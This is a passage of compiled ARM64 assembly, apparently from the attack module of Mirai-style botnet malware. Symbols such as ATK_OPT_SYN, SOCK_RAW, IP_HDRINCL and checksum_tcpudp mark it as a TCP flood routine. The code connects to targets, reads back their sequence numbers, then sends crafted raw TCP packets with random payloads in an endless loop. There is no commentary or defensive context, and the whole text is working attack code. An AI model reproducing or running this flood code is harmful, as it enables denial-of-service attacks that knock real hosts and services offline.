	adrp	x8, _IPPROTO_TCP@GOTPAGE
Lloh67:
	ldr	x8, [x8, _IPPROTO_TCP@GOTPAGEOFF]
Lloh68:
	ldr	w8, [x8]
Lloh69:
	adrp	x9, _LOCAL_ADDR@GOTPAGE
Lloh70:
	ldr	x9, [x9, _LOCAL_ADDR@GOTPAGEOFF]
Lloh71:
	ldr	w9, [x9]
	stp	w9, w8, [x24, #40]
	ldrsw	x8, [sp, #188]
	madd	x8, x8, x28, x21
	ldr	x9, [x8]
	str	x9, [x24, #24]
	ldr	d0, [x8, #8]
	ldp	w9, w10, [x8, #16]
	rev64.2s	v0, v0
	str	d0, [x24, #72]
	mov	w8, #8
	stp	w10, w8, [x24, #80]
	ldr	w8, [x22]
	str	w8, [x24, #88]
	stp	w9, w8, [x24, #64]
	bl	_rand_next
	ldp	x8, x10, [sp, #72]              ; 16-byte Folded Reload
	str	w8, [x24, #68]
	and	w11, w0, #0xffff
	ldr	x9, [sp, #64]                   ; 8-byte Folded Reload
	stp	x9, x10, [x24, #120]
	ldr	x10, [sp, #56]                  ; 8-byte Folded Reload
	ldr	x9, [sp, #48]                   ; 8-byte Folded Reload
	stp	x10, x9, [x24, #104]
	ldr	x8, [sp, #24]                   ; 8-byte Folded Reload
	stp	w8, w11, [x24, #88]
	mov	x0, x26
	ldr	x1, [sp, #88]                   ; 8-byte Folded Reload
                                        ; kill: def $w1 killed $w1 killed $x1
	bl	_rand_str
LBB0_6:                                 ;   in Loop: Header=BB0_7 Depth=1
	ldr	w8, [sp, #188]
	add	w8, w8, #1
	str	w8, [sp, #188]
	ldr	w9, [sp, #128]                  ; 4-byte Folded Reload
	cmp	w8, w9
Lloh72:
	adrp	x25, _AF_INET@GOTPAGE
Lloh73:
	ldr	x25, [x25, _AF_INET@GOTPAGEOFF]
	b.ge	LBB0_27
LBB0_7:                                 ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_15 Depth 2
	ldr	w0, [x25]
Lloh74:
	adrp	x8, _SOCK_STREAM@GOTPAGE
Lloh75:
	ldr	x8, [x8, _SOCK_STREAM@GOTPAGEOFF]
Lloh76:
	ldr	w1, [x8]
	mov	w2, #0
	bl	_socket
	mov	x26, x0
	cmn	w0, #1
	b.eq	LBB0_6
; %bb.8:                                ;   in Loop: Header=BB0_7 Depth=1
Lloh77:
	adrp	x8, _F_SETFL@GOTPAGE
Lloh78:
	ldr	x8, [x8, _F_SETFL@GOTPAGEOFF]
Lloh79:
	ldr	w24, [x8]
Lloh80:
	adrp	x8, _F_GETFL@GOTPAGE
Lloh81:
	ldr	x8, [x8, _F_GETFL@GOTPAGEOFF]
Lloh82:
	ldr	w1, [x8]
	mov	x0, x26
	mov	w2, #0
	bl	_fcntl
Lloh83:
	adrp	x8, _O_NONBLOCK@GOTPAGE
Lloh84:
	ldr	x8, [x8, _O_NONBLOCK@GOTPAGEOFF]
Lloh85:
	ldr	w8, [x8]
	orr	w2, w8, w0
	mov	x0, x26
	mov	x1, x24
	bl	_fcntl
	ldr	w8, [x25]
	str	w8, [sp, #176]
	ldrsw	x8, [sp, #188]
	mov	w25, #12
	madd	x8, x8, x25, x20
	ldp	w9, w0, [x8]
                                        ; kill: def $w0 killed $w0 def $x0
	sxtw	x0, w0
	cmp	w9, #31
	b.gt	LBB0_10
; %bb.9:                                ;   in Loop: Header=BB0_7 Depth=1
                                        ; kill: def $w0 killed $w0 killed $x0
	bl	_ntohl
	mov	x24, x0
	bl	_rand_next
	ldrsw	x8, [sp, #188]
	mul	x8, x8, x25
	ldr	w8, [x20, x8]
	asr	w8, w0, w8
	add	x0, x24, w8, sxtw
	bl	_htonl
LBB0_10:                                ;   in Loop: Header=BB0_7 Depth=1
	mov	x8, x23
	add	x25, sp, #192
	str	x0, [sp, #168]
	mov	w9, #65535
	cmp	w8, w9
	b.ne	LBB0_12
; %bb.11:                               ;   in Loop: Header=BB0_7 Depth=1
	bl	_rand_next
	and	w0, w0, #0xffff
	b	LBB0_13
LBB0_12:                                ;   in Loop: Header=BB0_7 Depth=1
	mov	x0, x8
	bl	_htons
LBB0_13:                                ;   in Loop: Header=BB0_7 Depth=1
	str	w0, [sp, #160]
	add	x1, sp, #160
	mov	x0, x26
	mov	w2, #24
	bl	_connect
	mov	x0, #0
	bl	_time
	mov	x24, x0
	b	LBB0_15
LBB0_14:                                ;   in Loop: Header=BB0_15 Depth=2
	mov	x0, #0
	bl	_time
	sub	w8, w0, w24
	cmp	w8, #10
	b.gt	LBB0_24
LBB0_15:                                ;   Parent Loop BB0_7 Depth=1
                                        ; =>  This Inner Loop Header: Depth=2
	ldr	w8, [x22]
	cbz	w8, LBB0_6
; %bb.16:                               ;   in Loop: Header=BB0_15 Depth=2
	str	w28, [sp, #132]
	ldr	w3, [x19]
	add	x1, sp, #192
	add	x4, sp, #136
	add	x5, sp, #132
	mov	x0, x27
	mov	w2, #256
	bl	_recvfrom
	cmn	w0, #1
	b.eq	LBB0_38
; %bb.17:                               ;   in Loop: Header=BB0_15 Depth=2
	ldr	x8, [sp, #144]
	ldr	x9, [sp, #168]
	cmp	x8, x9
	b.ne	LBB0_14
; %bb.18:                               ;   in Loop: Header=BB0_15 Depth=2
	cmp	w0, #137
	b.lo	LBB0_14
; %bb.19:                               ;   in Loop: Header=BB0_15 Depth=2
	ldr	w9, [sp, #256]
	ldr	w10, [sp, #160]
	cmp	w9, w10
	b.ne	LBB0_14
; %bb.20:                               ;   in Loop: Header=BB0_15 Depth=2
	ldr	x9, [x25, #112]
	cbz	x9, LBB0_22
; %bb.21:                               ;   in Loop: Header=BB0_15 Depth=2
	ldr	w9, [sp, #260]
	cbnz	w9, LBB0_25
LBB0_22:                                ;   in Loop: Header=BB0_15 Depth=2
	ldr	w8, [sp, #280]
	cbnz	w8, LBB0_24
; %bb.23:                               ;   in Loop: Header=BB0_15 Depth=2
	ldr	x8, [x25, #104]
	cbz	x8, LBB0_14
LBB0_24:                                ;   in Loop: Header=BB0_7 Depth=1
	mov	x0, x26
	bl	_close
Lloh86:
	adrp	x25, _AF_INET@GOTPAGE
Lloh87:
	ldr	x25, [x25, _AF_INET@GOTPAGEOFF]
	b	LBB0_7
LBB0_25:                                ;   in Loop: Header=BB0_7 Depth=1
	ldrsw	x9, [sp, #188]
	mul	x9, x9, x28
	str	x8, [x21, x9]
	ldr	x24, [sp]                       ; 8-byte Folded Reload
	ldr	w0, [x24, #8]
	bl	_ntohl
	ldrsw	x8, [sp, #188]
	madd	x8, x8, x28, x21
	str	w0, [x8, #8]
	ldr	w0, [x24, #12]
	bl	_ntohl
	ldrsw	x8, [sp, #188]
	madd	x8, x8, x28, x21
	str	w0, [x8, #12]
	ldr	w9, [x24, #16]
	ldr	w10, [sp, #160]
	stp	w9, w10, [x8, #16]
	ldr	w25, [sp, #12]                  ; 4-byte Folded Reload
	mov	x0, x25
	bl	_malloc
	mov	x24, x0
	ldrsw	x8, [sp, #188]
	ldr	x9, [sp, #112]                  ; 8-byte Folded Reload
	str	x0, [x9, x8, lsl #3]
	str	d8, [x0]
	ldr	x8, [sp, #32]                   ; 8-byte Folded Reload
	str	w8, [x0, #8]
	mov	x0, x25
	bl	_htons
	str	x0, [x24, #56]
	ldr	x0, [sp, #104]                  ; 8-byte Folded Reload
                                        ; kill: def $w0 killed $w0 killed $x0
	bl	_htons
	ldr	x8, [sp, #16]                   ; 8-byte Folded Reload
	stp	w0, w8, [x24, #12]
	ldr	x8, [sp, #40]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_5
; %bb.26:                               ;   in Loop: Header=BB0_7 Depth=1
	mov	w0, #16384
	bl	_htons
	str	x0, [x24, #48]
	b	LBB0_5
LBB0_27:
	ldr	w8, [x22]
	cbz	w8, LBB0_38
; %bb.28:
	ldr	x9, [sp, #88]                   ; 8-byte Folded Reload
	add	w26, w9, #72
	add	w28, w9, #136
	mov	w22, #65535
	mov	w23, #24
	mov	w20, #12
Lloh88:
	adrp	x25, _MSG_NOSIGNAL@GOTPAGE
Lloh89:
	ldr	x25, [x25, _MSG_NOSIGNAL@GOTPAGEOFF]
	b	LBB0_31
LBB0_29:                                ;   in Loop: Header=BB0_31 Depth=1
Lloh90:
	adrp	x8, _TRUE@GOTPAGE
Lloh91:
	ldr	x8, [x8, _TRUE@GOTPAGEOFF]
Lloh92:
	ldr	w8, [x8]
LBB0_30:                                ;   in Loop: Header=BB0_31 Depth=1
	cbz	w8, LBB0_38
LBB0_31:                                ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_34 Depth 2
	str	wzr, [sp, #188]
	ldr	w9, [sp, #128]                  ; 4-byte Folded Reload
	cmp	w9, #1
	b.lt	LBB0_30
; %bb.32:                               ;   in Loop: Header=BB0_31 Depth=1
	mov	w8, #0
	b	LBB0_34
LBB0_33:                                ;   in Loop: Header=BB0_34 Depth=2
	add	x19, x24, #64
	str	xzr, [x24, #32]
	mov	x0, x24
	mov	w1, #64
	bl	_checksum_generic
	str	x0, [x24, #32]
	ldrsw	x8, [sp, #188]
	madd	x8, x8, x23, x21
	ldr	w0, [x8, #8]
	add	w9, w0, #1
	str	w9, [x8, #8]
	bl	_htons
	str	w0, [x24, #72]
	ldrsw	x8, [sp, #188]
	madd	x8, x8, x23, x21
	ldr	w0, [x8, #12]
	bl	_htons
	str	w0, [x24, #76]
	str	xzr, [x24, #96]
	mov	x0, x26
	bl	_htons
	mov	x2, x0
	mov	x0, x24
	mov	x1, x19
	mov	x3, x26
	bl	_checksum_tcpudp
	str	x0, [x24, #96]
	ldr	w8, [x24, #80]
	ldrsw	x9, [sp, #188]
	ldr	x10, [sp, #120]                 ; 8-byte Folded Reload
	madd	x4, x9, x20, x10
	str	w8, [x4, #8]!
	ldr	w3, [x25]
	mov	x0, x27
	mov	x1, x24
	mov	x2, x28
	mov	w5, #24
	bl	_sendto
	ldr	w8, [sp, #188]
	add	w8, w8, #1
	str	w8, [sp, #188]
	ldr	w9, [sp, #128]                  ; 4-byte Folded Reload
	cmp	w8, w9
	b.ge	LBB0_29
LBB0_34:                                ;   Parent Loop BB0_31 Depth=1
                                        ; =>  This Inner Loop Header: Depth=2
	ldr	x9, [sp, #112]                  ; 8-byte Folded Reload
	ldr	x24, [x9, w8, sxtw #3]
	ldr	x8, [sp, #104]                  ; 8-byte Folded Reload
	cmp	w8, w22
	b.ne	LBB0_36
; %bb.35:                               ;   in Loop: Header=BB0_34 Depth=2
	bl	_rand_next
	and	w8, w0, #0xffff
	str	w8, [x24, #12]
LBB0_36:                                ;   in Loop: Header=BB0_34 Depth=2
	ldr	x8, [sp, #96]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_33
; %bb.37:                               ;   in Loop: Header=BB0_34 Depth=2
	add	x0, x24, #136
	ldr	x1, [sp, #88]                   ; 8-byte Folded Reload
                                        ; kill: def $w1 killed $w1 killed $x1
	bl	_rand_str
	b	LBB0_33
LBB0_38:
	ldur	x8, [x29, #-112]
Lloh93:
	adrp	x9, ___stack_chk_guard@GOTPAGE
Lloh94:
	ldr	x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh95:
	ldr	x9, [x9]
	cmp	x9, x8
	b.ne	LBB0_40
; %bb.39:
	add	sp, sp, #464
	ldp	x29, x30, [sp, #96]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #80]             ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #64]             ; 16-byte Folded Reload
	ldp	x24, x23, [sp, #48]             ; 16-byte Folded Reload
	ldp	x26, x25, [sp, #32]             ; 16-byte Folded Reload
	ldp	x28, x27, [sp, #16]             ; 16-byte Folded Reload
	ldp	d9, d8, [sp], #112              ; 16-byte Folded Reload
	ret
LBB0_40:
	bl	___stack_chk_fail
	.loh AdrpLdrGotLdr	Lloh51, Lloh52, Lloh53
	.loh AdrpLdrGotLdr	Lloh48, Lloh49, Lloh50
	.loh AdrpLdrGot	Lloh46, Lloh47
	.loh AdrpLdrGotLdr	Lloh43, Lloh44, Lloh45
	.loh AdrpLdrGotLdr	Lloh40, Lloh41, Lloh42
	.loh AdrpLdrGotLdr	Lloh37, Lloh38, Lloh39
	.loh AdrpLdrGotLdr	Lloh34, Lloh35, Lloh36
	.loh AdrpLdrGotLdr	Lloh31, Lloh32, Lloh33
	.loh AdrpLdrGotLdr	Lloh28, Lloh29, Lloh30
	.loh AdrpLdrGotLdr	Lloh25, Lloh26, Lloh27
	.loh AdrpLdrGot	Lloh23, Lloh24
	.loh AdrpLdrGotLdr	Lloh20, Lloh21, Lloh22
	.loh AdrpLdrGotLdr	Lloh17, Lloh18, Lloh19
	.loh AdrpLdrGot	Lloh15, Lloh16
	.loh AdrpLdrGotLdr	Lloh12, Lloh13, Lloh14
	.loh AdrpLdrGotLdr	Lloh9, Lloh10, Lloh11
	.loh AdrpLdrGotLdr	Lloh6, Lloh7, Lloh8
	.loh AdrpLdrGotLdr	Lloh3, Lloh4, Lloh5
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpLdrGotLdr	Lloh57, Lloh58, Lloh59
	.loh AdrpLdrGotLdr	Lloh54, Lloh55, Lloh56
	.loh AdrpLdrGot	Lloh60, Lloh61
	.loh AdrpLdr	Lloh64, Lloh65
	.loh AdrpLdrGot	Lloh62, Lloh63
	.loh AdrpLdrGotLdr	Lloh69, Lloh70, Lloh71
	.loh AdrpLdrGotLdr	Lloh66, Lloh67, Lloh68
	.loh AdrpLdrGot	Lloh72, Lloh73
	.loh AdrpLdrGotLdr	Lloh74, Lloh75, Lloh76
	.loh AdrpLdrGotLdr	Lloh83, Lloh84, Lloh85
	.loh AdrpLdrGotLdr	Lloh80, Lloh81, Lloh82
	.loh AdrpLdrGotLdr	Lloh77, Lloh78, Lloh79
	.loh AdrpLdrGot	Lloh86, Lloh87
	.loh AdrpLdrGot	Lloh88, Lloh89
	.loh AdrpLdrGotLdr	Lloh90, Lloh91, Lloh92
	.loh AdrpLdrGotLdr	Lloh93, Lloh94, Lloh95
	.cfi_endproc
                                        ; -- End function
	.comm	_ATK_OPT_IP_TOS,4,2             ; @ATK_OPT_IP_TOS
	.comm	_ATK_OPT_IP_IDENT,4,2           ; @ATK_OPT_IP_IDENT
	.comm	_ATK_OPT_IP_TTL,4,2             ; @ATK_OPT_IP_TTL
	.comm	_ATK_OPT_IP_DF,4,2              ; @ATK_OPT_IP_DF
	.comm	_TRUE,4,2                       ; @TRUE
	.comm	_ATK_OPT_DPORT,4,2              ; @ATK_OPT_DPORT
	.comm	_ATK_OPT_URG,4,2                ; @ATK_OPT_URG
	.comm	_FALSE,4,2                      ; @FALSE
	.comm	_ATK_OPT_ACK,4,2                ; @ATK_OPT_ACK
	.comm	_ATK_OPT_PSH,4,2                ; @ATK_OPT_PSH
	.comm	_ATK_OPT_RST,4,2                ; @ATK_OPT_RST
	.comm	_ATK_OPT_SYN,4,2                ; @ATK_OPT_SYN
	.comm	_ATK_OPT_FIN,4,2                ; @ATK_OPT_FIN
	.comm	_ATK_OPT_PAYLOAD_SIZE,4,2       ; @ATK_OPT_PAYLOAD_SIZE
	.comm	_ATK_OPT_PAYLOAD_RAND,4,2       ; @ATK_OPT_PAYLOAD_RAND
	.comm	_AF_INET,4,2                    ; @AF_INET
	.comm	_SOCK_RAW,4,2                   ; @SOCK_RAW
	.comm	_IPPROTO_TCP,4,2                ; @IPPROTO_TCP
	.comm	_IPPROTO_IP,4,2                 ; @IPPROTO_IP
	.comm	_IP_HDRINCL,4,2                 ; @IP_HDRINCL
	.comm	_SOCK_STREAM,4,2                ; @SOCK_STREAM
	.comm	_F_SETFL,4,2                    ; @F_SETFL
	.comm	_F_GETFL,4,2                    ; @F_GETFL
	.comm	_O_NONBLOCK,4,2                 ; @O_NONBLOCK
	.comm	_MSG_NOSIGNAL,4,2               ; @MSG_NOSIGNAL
	.comm	_LOCAL_ADDR,4,2                 ; @LOCAL_ADDR
	.comm	_errno,8,3                      ; @errno
.subsections_via_symbols
